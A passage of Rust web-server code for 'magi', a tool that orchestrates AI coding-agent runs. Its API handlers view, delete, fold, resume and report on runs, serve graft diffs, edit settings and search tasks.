3459    /// unresolved states this field exists to tell apart from a real finish.
3460    resolved: bool,
3461    /// The attempt's own recorded status, so the page can say where it
3462    /// stands while it is not resolved yet.
3463    status: RunStatus,
3464    /// Whether that status is terminal (nothing is still running it).
3465    done: bool,
3466}
3467
3468/// Markdown for the free-text prose of a run, parallel to `RunState`.
3469#[derive(Debug, Default, Serialize)]
3470struct RunProseMd {
3471    /// `None` when the run has no design deliberation.
3472    advice_md: Option<AdviceMd>,
3473    /// One entry per candidate: the summary.
3474    candidate_summaries_md: Vec<Vec<md::Node>>,
3475    /// One entry per review round, in `reviews` order.
3476    reviews_md: Vec<RoundMd>,
3477}
3478
3479#[derive(Debug, Default, Serialize)]
3480struct AdviceMd {
3481    synthesis: Vec<md::Node>,
3482    /// One per record; empty for a seat with no proposal.
3483    approaches: Vec<Vec<md::Node>>,
3484}
3485
3486#[derive(Debug, Default, Serialize)]
3487struct RoundMd {
3488    /// One per reviewer record.
3489    reviewers: Vec<ReviewerMd>,
3490    /// One per `reconsideration` entry: the reason.
3491    reconsideration: Vec<Vec<md::Node>>,
3492    fix: Option<FixMd>,
3493}
3494
3495#[derive(Debug, Default, Serialize)]
3496struct ReviewerMd {
3497    summary: Vec<md::Node>,
3498    /// One per finding, in recorded order (not the display order).
3499    findings: Vec<Vec<md::Node>>,
3500}
3501
3502#[derive(Debug, Default, Serialize)]
3503struct FixMd {
3504    notes: Vec<md::Node>,
3505    /// One per rejection: the argument.
3506    rejected: Vec<Vec<md::Node>>,
3507}
3508
3509/// Parse a run's agent-written prose; a pure function of the state.
3510fn run_prose_md(state: &RunState) -> RunProseMd {
3511    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3512    RunProseMd {
3513        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3514            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3515            approaches: a
3516                .records
3517                .iter()
3518                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3519                .collect(),
3520        }),
3521        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3522        reviews_md: state
3523            .reviews
3524            .iter()
3525            .map(|round| RoundMd {
3526                reviewers: round
3527                    .reviews
3528                    .iter()
3529                    .map(|rec| ReviewerMd {
3530                        summary: nodes(&rec.summary),
3531                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3532                    })
3533                    .collect(),
3534                reconsideration: round
3535                    .reconsideration
3536                    .iter()
3537                    .map(|rv| nodes(&rv.reason))
3538                    .collect(),
3539                fix: round.fix.as_ref().map(|fix| FixMd {
3540                    notes: nodes(&fix.notes),
3541                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3542                }),
3543            })
3544            .collect(),
3545    }
3546}
3547
3548impl RunDetailView {
3549    fn of(
3550        state: RunState,
3551        waiting: bool,
3552        live: crate::run::Liveness,
3553        superseded_by: Option<String>,
3554        latest_attempt: Option<LatestAttempt>,
3555        task: Option<TaskRef>,
3556    ) -> Self {
3557        let display_status = run_display_status(&state, waiting, live);
3558        let stop_reason = crate::stop_reason::of(
3559            &state,
3560            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3561        );
3562        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3563        Self {
3564            stop_reason,
3565            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3566            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3567            prose_md: run_prose_md(&state),
3568            origin_label: crate::run::origin_label(state.origin.as_ref()),
3569            live,
3570            unmerged_by_design: state.unmerged_by_design(),
3571            waiting,
3572            display_status,
3573            badge_status,
3574            done: state.status.done(),
3575            superseded_by,
3576            latest_attempt,
3577            task,
3578            state,
3579        }
3580    }
3581}
3582
3583async fn run_detail(
3584    State(ui): State<Arc<Ui>>,
3585    Path(id): Path<String>,
3586) -> ApiResult<Json<RunDetailView>> {
3587    blocking(move || {
3588        let id = resolve_run(&ui.runs, &id)?;
3589        let state = read_run(&ui.runs, &id)?;
3590        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3591        let live = state.liveness(daemon_claims);
3592        let waiting = !ui.questions.open_for(&id).is_empty();
3593        let superseded_by = state
3594            .pr_taken_over_by
3595            .clone()
3596            .or_else(|| ui.queue.superseded_by(&id))
3597            .as_deref()
3598            .map(crate::run::short_of)
3599            .map(str::to_owned);
3600        // Best-effort: an unreadable head (mid-write, or deleted) just means
3601        // this run's own status stands on its own, same as no later attempt
3602        // existing at all.
3603        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3604            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3605                short: head.short().to_owned(),
3606                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3607                status: head.status,
3608                done: head.status.done(),
3609                id: head.id,
3610            })
3611        });
3612        let max_attempts = daemon::Opts::default().max_attempts;
3613        let task = ui
3614            .queue
3615            .list()
3616            .into_iter()
3617            .find(|t| t.runs.contains(&id))
3618            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3619        Ok(Json(RunDetailView::of(
3620            state,
3621            waiting,
3622            live,
3623            superseded_by,
3624            latest_attempt,
3625            task,
3626        )))
3627    })
3628    .await
3629}
3630
3631/// `DELETE /api/runs/{id}`.
3632///
3633/// Remove a finished, folded run directory along with its artifacts.
3634/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3635/// deleted. This never touches git worktrees or branches - except for a run
3636/// whose state this build cannot read at all, where there is no candidate
3637/// list to check and the wholesale removal `magi fold` already uses for that
3638/// case is the only meaningful "delete".
3639async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3640    let (id, unreadable) = {
3641        let ui = Arc::clone(&ui);
3642        blocking(move || {
3643            let id = resolve_run(&ui.runs, &id)?;
3644            match read_run(&ui.runs, &id) {
3645                Ok(state) => {
3646                    let in_flight =
3647                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3648                    state
3649                        .ensure_can_delete(in_flight)
3650                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3651                    let dir = ui.runs.join(&id);
3652                    std::fs::remove_dir_all(&dir)
3653                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3654                    Ok((id, false))
3655                }
3656                Err(_) => {
3657                    // Unreadable: there is no candidate list to guard on, so
3658                    // a live daemon's claim is the only thing left to check -
3659                    // the same rule `run_fold` applies for the same reason.
3660                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3661                        return Err(ApiError::conflict(format!(
3662                            "run {id} is being worked on by a live daemon right now"
3663                        )));
3664                    }
3665                    Ok((id, true))
3666                }
3667            }
3668        })
3669        .await?
3670    };
3671    if unreadable {
3672        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3673            .await
3674            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3675    }
3676    let ui = Arc::clone(&ui);
3677    let done = id.clone();
3678    blocking(move || {
3679        // The agent that asked died with the run, so an open question would
3680        // keep asking the operator for a decision nobody can deliver.
3681        ui.questions.abandon_for_run(
3682            &done,
3683            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3684        )?;
3685        Ok(())
3686    })
3687    .await?;
3688    Ok(StatusCode::NO_CONTENT)
3689}
3690
3691/// `POST /api/runs/{id}/fold`.
3692///
3693/// Remove a run's candidate worktrees and branches, keeping its record.
3694///
3695/// This exists because the deck answered "delete this run" with *"Candidates
3696/// must be folded before deleting. Run `magi fold` first."* — a phone being
3697/// told to open a terminal, in the one product whose point is that it does
3698/// not need one. The runs an operator most wants gone are the stalled and
3699/// blocked ones, and those are exactly the runs still holding worktrees:
3700/// three of them here held 53 GB.
3701///
3702/// The winner's tree goes too. A fold is what someone asks for when they are
3703/// finished with a run, and leaving one tree behind would leave the delete
3704/// button disabled for the same reason as before.
3705///
3706/// Refused while a live daemon is working on the run, on the rule that guards
3707/// deletion: folding underneath a running agent would pull the tree it is
3708/// editing out from under it.
3709///
3710/// A run whose state this build cannot read at all falls back to
3711/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3712/// selectively, so the whole record's worktree goes wholesale, exactly what
3713/// `magi fold` does on the command line for the same run.
3714async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3715    let (id, state) = {
3716        let ui = Arc::clone(&ui);
3717        blocking(move || {
3718            let id = resolve_run(&ui.runs, &id)?;
3719            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3720                return Err(ApiError::conflict(format!(
3721                    "run {id} is being worked on by a live daemon right now"
3722                )));
3723            }
3724            let state = read_run(&ui.runs, &id).ok();
3725            Ok((id, state))
3726        })
3727        .await?
3728    };
3729    let removed = match state {
3730        Some(mut state) => {
3731            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3732                .await
3733                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3734            // Nothing left to remove is not the same thing as nothing left to
3735            // do — see `clean::clear_abandoned_active`'s own doc for the run
3736            // this exists for: worktrees already gone, but a killed process
3737            // left active seats nobody will ever answer for.
3738            if removed.is_empty() {
3739                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3740                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3741            }
3742            removed
3743        }
3744        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3745            .await
3746            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3747    };
3748    Ok(Json(FoldView {
3749        run: id,
3750        removed_count: removed.len(),
3751        removed,
3752    }))
3753}
3754
3755/// What a fold took away, so the deck can say so rather than only re-render.
3756#[derive(Debug, Serialize)]
3757struct FoldView {
3758    run: String,
3759    /// Worktree paths and branch names removed, in the order they went.
3760    removed: Vec<String>,
3761    removed_count: usize,
3762}
3763
3764/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3765/// merged outside of `land::land`'s own loop.
3766#[derive(Debug, Deserialize)]
3767struct FoldMergedBody {
3768    #[serde(default)]
3769    pr_url: String,
3770}
3771
3772/// `POST /api/runs/{id}/fold-merged`.
3773///
3774/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3775/// `Blocked` with `merge: null` because magi never got as far as opening a
3776/// pull request of its own (a title over GitHub's length limit, `gh pr
3777/// create` unreachable, a stale token), which the operator then finished by
3778/// hand on a pull request magi never recorded. The "Run actions" sheet used
3779/// to have no way to tell it about that pull request short of a terminal and
3780/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3781/// this exists and what it deliberately does not do (`bump::after_merge`).
3782///
3783/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3784/// correction rewrites the same `status`/`merge` fields a running graph would
3785/// be writing to on its own.
3786///
3787/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3788/// calls plus a fold, seconds of work, and the phone should get its answer
3789/// (which pull request it recorded, and what changed) in the same round
3790/// trip rather than learning it from the change stream.
3791async fn run_fold_merged(
3792    State(ui): State<Arc<Ui>>,
3793    Path(id): Path<String>,
3794    Json(body): Json<FoldMergedBody>,
3795) -> ApiResult<Json<FoldMergedView>> {
3796    let pr_url = body.pr_url.trim().to_owned();
3797    if pr_url.is_empty() {
3798        return Err(ApiError::bad_request("pr_url is required"));
3799    }
3800    let (id, mut state) = {
3801        let ui = Arc::clone(&ui);
3802        blocking(move || {
3803            let id = resolve_run(&ui.runs, &id)?;
3804            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3805                return Err(ApiError::conflict(format!(
3806                    "run {id} is being worked on by a live daemon right now"
3807                )));
3808            }
3809            let state = read_run(&ui.runs, &id)?;
3810            Ok((id, state))
3811        })
3812        .await?
3813    };
3814    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3815        .await
3816        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3817    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3818        .await
3819        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3820    Ok(Json(FoldMergedView {
3821        run: id,
3822        before: before.as_str().to_owned(),
3823        after: after.as_str().to_owned(),
3824        removed,
3825    }))
3826}
3827
3828/// What [`run_fold_merged`] did, so the deck can say so.
3829#[derive(Debug, Serialize)]
3830struct FoldMergedView {
3831    run: String,
3832    /// `status` before the correction — normally `"blocked"`.
3833    before: String,
3834    /// `status` after — normally `"merged"`.
3835    after: String,
3836    /// Worktree paths and branch names the trailing fold removed.
3837    removed: Vec<String>,
3838}
3839
3840/// `POST /api/runs/{id}/resume`.
3841///
3842/// Carry a stalled run on from where it stopped, in the background.
3843///
3844/// A stalled card says "the work is kept" and used to offer no way to act on
3845/// that: the candidates are built and paid for, and continuing means re-asking
3846/// only the seats whose absence collapsed the panel. The alternative an
3847/// operator actually had was releasing the task, which competes three fresh
3848/// implementations against work that already exists.
3849///
3850/// **202, not 200.** A resume runs agents for minutes; holding the connection
3851/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3852/// phone learns the outcome from the change stream.
3853///
3854/// Refused when the loop is running at all, not merely when it is on this run.
3855/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3856/// started a second graph on top of whatever the loop is already driving —
3857/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3858/// allows — would spend that quota twice over for no extra throughput.
3859async fn run_resume(
3860    State(ui): State<Arc<Ui>>,
3861    Path(id): Path<String>,
3862) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3863    let (id, state) = {
3864        let ui = Arc::clone(&ui);
3865        blocking(move || {
3866            let id = resolve_run(&ui.runs, &id)?;
3867            let state = read_run(&ui.runs, &id)?;
3868            Ok((id, state))
3869        })
3870        .await?
3871    };
3872    if let Some(to) = state
3873        .pr_taken_over_by
3874        .as_ref()
3875        .or(state.released_to.as_ref())
3876    {
3877        return Err(ApiError::conflict(format!(
3878            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3879            state.short(),
3880            crate::run::short_of(to)
3881        )));
3882    }
3883    if !state.status.resumable() {
3884        return Err(ApiError::conflict(format!(
3885            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3886            state.short(),
3887            status_word(state.status)
3888        )));
3889    }
3890    // Refused whenever the loop is running anything at all, not merely when
3891    // it is on this run: a manual resume racing a loop-driven run over the
3892    // same agent quota is the thing this guard exists to prevent, whether
3893    // the loop's own concurrency is one run or several.
3894    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3895        .into_iter()
3896        .next()
3897    {
3898        return Err(ApiError::conflict(format!(
3899            "the loop is running run {} right now; stop it first, or wait for \
3900             it to finish, before resuming a run by hand.",
3901            crate::run::short_of(&work.run)
3902        )));
3903    }
3904    let _resume = ui.begin_resume(&id)?;
3905
3906    // The same shape the list route returns, so the phone updates the card it
3907    // already has rather than learning a second schema for one button.
3908    let queued = RunSummary::of(
3909        &state,
3910        !ui.questions.open_for(&id).is_empty(),
3911        state.liveness(false),
3912    );
3913    let run = id.clone();
3914    tokio::spawn(async move {
3915        let _resume = _resume;
3916        match crate::graph::Runner::resume(&run) {
3917            Ok(mut runner) => {
3918                if let Err(e) = runner.execute().await {
3919                    tracing::warn!("resume of run {run} stopped: {e:#}");
3920                }
3921            }
3922            // The run's own record is what the phone reads; this line is for
3923            // the operator's terminal.
3924            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3925        }
3926    });
3927    Ok((StatusCode::ACCEPTED, Json(queued)))
3928}
3929
3930async fn run_report(
3931    State(ui): State<Arc<Ui>>,
3932    Path(id): Path<String>,
3933) -> ApiResult<impl IntoResponse> {
3934    let text = blocking(move || {
3935        let id = resolve_run(&ui.runs, &id)?;
3936        // Colour is off for the whole process, set once in `serve`. Rendering
3937        // is CPU work over the full state, which is the other reason this is
3938        // not on the executor.
3939        let state = read_run(&ui.runs, &id)?;
3940        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3941        let live = state.liveness(daemon_claims);
3942        Ok(format!(
3943            "{}{}",
3944            report::run(&state),
3945            report::active_seats(&state, live)
3946        ))
3947    })
3948    .await?;
3949    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3950}
3951
3952/// The structured twin of [`run_report`]: the same state, as sections the UI
3953/// draws as cards. An unreadable run answers with the same error the text
3954/// route does; it is never turned into an empty report.
3955async fn run_report_json(
3956    State(ui): State<Arc<Ui>>,
3957    Path(id): Path<String>,
3958) -> ApiResult<Json<crate::report_view::RunReportView>> {
3959    let view = blocking(move || {
3960        let id = resolve_run(&ui.runs, &id)?;
3961        let state = read_run(&ui.runs, &id)?;
3962        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3963        // Only a record that lacks the structured details reads `artifacts/`.
3964        let recovered = state.graft.as_ref().map(|_| {
3965            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3966        });
3967        Ok(crate::report_view::build_with(
3968            &state,
3969            state.liveness(daemon_claims),
3970            recovered.as_ref(),
3971        ))
3972    })
3973    .await?;
3974    Ok(Json(view))
3975}
3976
3977/// Most of a graft diff the route returns.
3978const GRAFT_DIFF_MAX: usize = 400 * 1024;
3979/// How long `git diff` may run.
3980const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3981
3982/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3983/// come from the run record, never from the request.
3984async fn run_graft_diff(
3985    State(ui): State<Arc<Ui>>,
3986    Path(id): Path<String>,
3987) -> ApiResult<impl IntoResponse> {
3988    let (repo, pre, post) = blocking(move || {
3989        let id = resolve_run(&ui.runs, &id)?;
3990        let state = read_run(&ui.runs, &id)?;
3991        let g = state
3992            .graft
3993            .as_ref()
3994            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3995        let post = g
3996            .post
3997            .clone()
3998            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3999        Ok((state.repo.clone(), g.pre.clone(), post))
4000    })
4001    .await?;
4002    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4003    if !hex(&pre) || !hex(&post) {
4004        return Err(ApiError::not_found("the recorded commits are not valid"));
4005    }
4006    let out = tokio::time::timeout(
4007        GRAFT_DIFF_TIMEOUT,
4008        crate::git::git_raw(
4009            &repo,
4010            &[
4011                "diff",
4012                "--no-color",
4013                "--no-ext-diff",
4014                "-M",
4015                &pre,
4016                &post,
4017                "--",
4018            ],
4019        ),
4020    )
4021    .await
4022    .map_err(|_| ApiError::not_found("git diff timed out"))?
4023    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4024    if out.code != Some(0) {
4025        return Err(ApiError::not_found(
4026            "the recorded commits are no longer in the repository",
4027        ));
4028    }
4029    let mut body = out.stdout;
4030    if body.len() > GRAFT_DIFF_MAX {
4031        let mut cut = GRAFT_DIFF_MAX;
4032        while !body.is_char_boundary(cut) {
4033            cut -= 1;
4034        }
4035        body.truncate(cut);
4036        body.push_str("\n... diff truncated ...");
4037    }
4038    Ok((
4039        [
4040            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4041            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4042        ],
4043        body,
4044    ))
4045}
4046
4047/// A task as the UI sees it.
4048///
4049/// The whole task, plus the two things the client would otherwise have to
4050/// reimplement: the human-readable source and the status string. Nothing is
4051/// removed - the phone shows `last_error` and the run history verbatim.
4052#[derive(Debug, Serialize)]
4053struct TaskView {
4054    #[serde(flatten)]
4055    task: Task,
4056    source_label: String,
4057    source_link: Option<SourceLink>,
4058    status_str: &'static str,
4059    /// The instruction, parsed as markdown, for the Queue card's "Full
4060    /// instruction" panel. `task.instruction` is unchanged and still carries
4061    /// the raw text.
4062    instruction_md: Vec<md::Node>,
4063    /// For a blocked task, what it waits on with each dependency's state, e.g.
4064    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4065    /// recurses; empty for every other status.
4066    waits_on: Vec<String>,
4067    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4068    /// behind - non-empty means nothing in the loop will ever run it.
4069    stuck_roots: Vec<String>,
4070}
4071
4072impl From<Task> for TaskView {
4073    fn from(task: Task) -> Self {
4074        Self {
4075            source_label: task.source.label(),
4076            source_link: source_link(&task.source),
4077            status_str: task.status.as_str(),
4078            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4079            waits_on: Vec::new(),
4080            stuck_roots: Vec::new(),
4081            task,
4082        }
4083    }
4084}
4085
4086impl TaskView {
4087    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4088        let waits_on = inv.waits_on(&task);
4089        let stuck_roots = inv
4090            .stuck_roots(&task)
4091            .iter()
4092            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4093            .collect();
4094        Self {
4095            waits_on,
4096            stuck_roots,
4097            ..Self::from(task)
4098        }
4099    }
4100}
4101
4102/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4103/// its absence, leaves the cache to decide.
4104#[derive(Debug, Default, Deserialize)]
4105#[serde(default)]
4106struct ReposQuery {
4107    refresh: u8,
4108}
4109
4110/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4111/// listing `magi repos` prints at a terminal.
4112///
4113/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4114/// so an edit to `magi.toml` takes effect without a restart, the same
4115/// reasoning [`config_for`] documents for the talk routes.
4116async fn repos_list(
4117    State(ui): State<Arc<Ui>>,
4118    Query(q): Query<ReposQuery>,
4119) -> ApiResult<Json<Vec<repos::Repo>>> {
4120    let refresh = q.refresh != 0;
4121    blocking(move || {
4122        let (cfg, _) = Config::discover(&ui.repo, None)?;
4123        Ok(Json(ui.repos_cache.list(
4124            &cfg.repos.roots,
4125            Duration::from_secs(cfg.repos.scan_ttl),
4126            refresh,
4127        )))
4128    })
4129    .await
4130}
4131
4132/// Optional context, restricted to the server's known checkouts.
4133#[derive(Debug, Default, Deserialize)]
4134struct SettingsQuery {
4135    repo: Option<PathBuf>,
4136}
4137
4138/// Always discover against the server's original context, never the selection.
4139/// If that config is broken, retain the default context and machine-only roots
4140/// so the settings error contract and recovery picker remain available.
4141fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4142    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4143        let paths: Vec<PathBuf> = ui
4144            .machine_config
4145            .iter()
4146            .filter(|p| p.is_file())
4147            .cloned()
4148            .collect();
4149        if paths.is_empty() {
4150            Ok(Config::autodetected())
4151        } else {
4152            Config::load_layers(&paths)
4153        }
4154    });
4155    let mut known = cfg
4156        .map(|cfg| {
4157            ui.repos_cache.list(
4158                &cfg.repos.roots,
4159                Duration::from_secs(cfg.repos.scan_ttl),
4160                refresh,
4161            )
4162        })
4163        .unwrap_or_default();
4164    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4165    if !known.iter().any(|r| r.path == path) {
4166        known.push(repos::Repo {
4167            name: path
4168                .file_name()
4169                .unwrap_or_default()
4170                .to_string_lossy()
4171                .into_owned(),
4172            path,
4173        });
4174    }
4175    known
4176}
4177
4178fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4179    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4180    let canonical = requested.canonicalize().ok();
4181    let mut known = settings_repositories(ui, false);
4182    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4183    if !known.iter().any(matches) {
4184        known = settings_repositories(ui, true);
4185    }
4186    let repo = known
4187        .iter()
4188        .find(|r| matches(r))
4189        .map(|r| r.path.clone())
4190        .ok_or_else(|| ApiError {
4191            text_reason: None,
4192            status: StatusCode::UNPROCESSABLE_ENTITY,
4193            message: "Choose a known repository from the Settings selector.".to_owned(),
4194        })?;
4195    Ok((repo, known))
4196}
4197
4198/// `GET /api/settings` - the effective role assignments and roster, with the
4199/// layer each came from. A config that fails to load answers 200 with an
4200/// `error`, so the screen can say so instead of drawing empty lists.
4201async fn settings_get(
4202    State(ui): State<Arc<Ui>>,
4203    Query(q): Query<SettingsQuery>,
4204) -> ApiResult<Json<settings::SettingsView>> {
4205    blocking(move || {
4206        let (repo, known) = settings_context(&ui, q)?;
4207        Ok(Json(settings::view_with_repos(
4208            &repo,
4209            ui.machine_config.as_deref(),
4210            &known,
4211        )))
4212    })
4213    .await
4214}
4215
4216/// The body of `PUT /api/settings/roles`.
4217#[derive(Debug, Deserialize)]
4218#[serde(deny_unknown_fields)]
4219struct RolesBody {
4220    /// The `revision` the client last read.
4221    revision: String,
4222    /// Role key to its new ids; an empty list resets the key to its default.
4223    #[serde(default)]
4224    roles: std::collections::BTreeMap<String, Vec<String>>,
4225    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4226    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4227    /// words (422) instead of as a deserialization error.
4228    #[serde(default)]
4229    counts: std::collections::BTreeMap<String, serde_json::Value>,
4230}
4231
4232/// `PUT /api/settings/roles` - save role assignments to the machine config.
4233///
4234/// The write target is `ui.machine_config` and nothing in the body can change
4235/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4236/// 422 with the reason in words.
4237async fn settings_put_roles(
4238    State(ui): State<Arc<Ui>>,
4239    Query(q): Query<SettingsQuery>,
4240    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4241) -> ApiResult<Json<settings::SettingsView>> {
4242    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4243    blocking(move || {
4244        let (repo, known) = settings_context(&ui, q)?;
4245        settings::save_with_repos(
4246            &repo,
4247            ui.machine_config.as_deref(),
4248            &body.revision,
4249            &body.roles,
4250            &body.counts,
4251            &known,
4252        )
4253        .map(Json)
4254        .map_err(|e| match e {
4255            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4256            settings::SaveError::Refused(m) => ApiError {
4257                text_reason: None,
4258                status: StatusCode::UNPROCESSABLE_ENTITY,
4259                message: m,
4260            },
4261            settings::SaveError::Internal(m) => ApiError::internal(m),
4262        })
4263    })
4264    .await
4265}
4266
4267async fn queue_list(
4268    State(ui): State<Arc<Ui>>,
4269    Query(q): Query<ListQuery>,
4270) -> ApiResult<Json<Vec<TaskView>>> {
4271    blocking(move || {
4272        let tasks = ui.queue.list();
4273        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4274        Ok(Json(
4275            tasks
4276                .into_iter()
4277                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4278                .map(|t| TaskView::with_inventory(t, &inv))
4279                .collect(),
4280        ))
4281    })
4282    .await
4283}
4284
4285/// Most hits one search returns. The rest are counted in `total`.
4286const SEARCH_MAX_HITS: usize = 100;
4287/// Longest query, in characters, and most terms it is split into.
4288const SEARCH_MAX_QUERY: usize = 200;
4289const SEARCH_MAX_TERMS: usize = 8;
4290/// Characters of context kept before the first hit, and after it.
4291const SNIPPET_BEFORE: usize = 50;
4292const SNIPPET_AFTER: usize = 110;
4293
4294/// `?scope=runs|tasks&q=...`
4295#[derive(Debug, Deserialize)]
4296struct SearchQuery {
4297    #[serde(default)]
4298    scope: String,
4299    #[serde(default)]
4300    q: String,
4301}
4302
4303/// One piece of a snippet. `hit` pieces are what matched; the client renders
4304/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4305#[derive(Debug, Serialize, PartialEq, Eq)]
4306struct SnippetPart {
4307    text: String,
4308    hit: bool,
4309}
4310
4311#[derive(Debug, Serialize)]
4312struct SearchHit {
4313    id: String,
4314    /// The name of the field the snippet was cut from.
4315    field: String,
4316    snippet: Vec<SnippetPart>,
4317    /// The run's list row, so the page can apply its state / section / repo
4318    /// filters to a hit outside the loaded window. Absent for tasks and for a
4319    /// run record the list view cannot read.
4320    #[serde(skip_serializing_if = "Option::is_none")]
4321    run: Option<RunSummary>,
4322}
4323
4324#[derive(Debug, Serialize)]
4325struct SearchView {
4326    scope: String,
4327    q: String,
4328    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4329    hits: Vec<SearchHit>,
4330    /// Every match, hits beyond the cap included.
4331    total: usize,
4332    truncated: bool,
4333    /// Runs whose `run.json` could not be parsed at all. They were not
4334    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4335    unreadable: usize,
4336}
4337
4338/// The text leaves of a JSON document, with the name of the field each sits
4339/// under. Keys and numbers are skipped: they are structure, not prose.
4340fn text_leaves<'a>(
4341    value: &'a serde_json::Value,
4342    field: &'a str,
4343    out: &mut Vec<(&'a str, &'a str)>,
4344) {
4345    match value {
4346        serde_json::Value::String(s) => out.push((field, s)),
4347        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4348        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4349        _ => {}
4350    }
4351}
4352
4353/// Lower-case one character without changing how many there are, so indices
4354/// in the lowered text are indices in the original.
4355fn fold_char(c: char) -> char {
4356    c.to_lowercase().next().unwrap_or(c)
4357}
4358
4359/// Split a query into its lower-cased terms.
4360fn search_terms(q: &str) -> Vec<String> {
4361    let mut terms: Vec<String> = Vec::new();
4362    for t in q.split_whitespace() {
4363        let t = t.to_lowercase();
4364        if !terms.contains(&t) {
4365            terms.push(t);
4366        }
4367    }
4368    terms
4369}
4370
4371/// Match `terms` (all of them, anywhere in the document) against the leaves
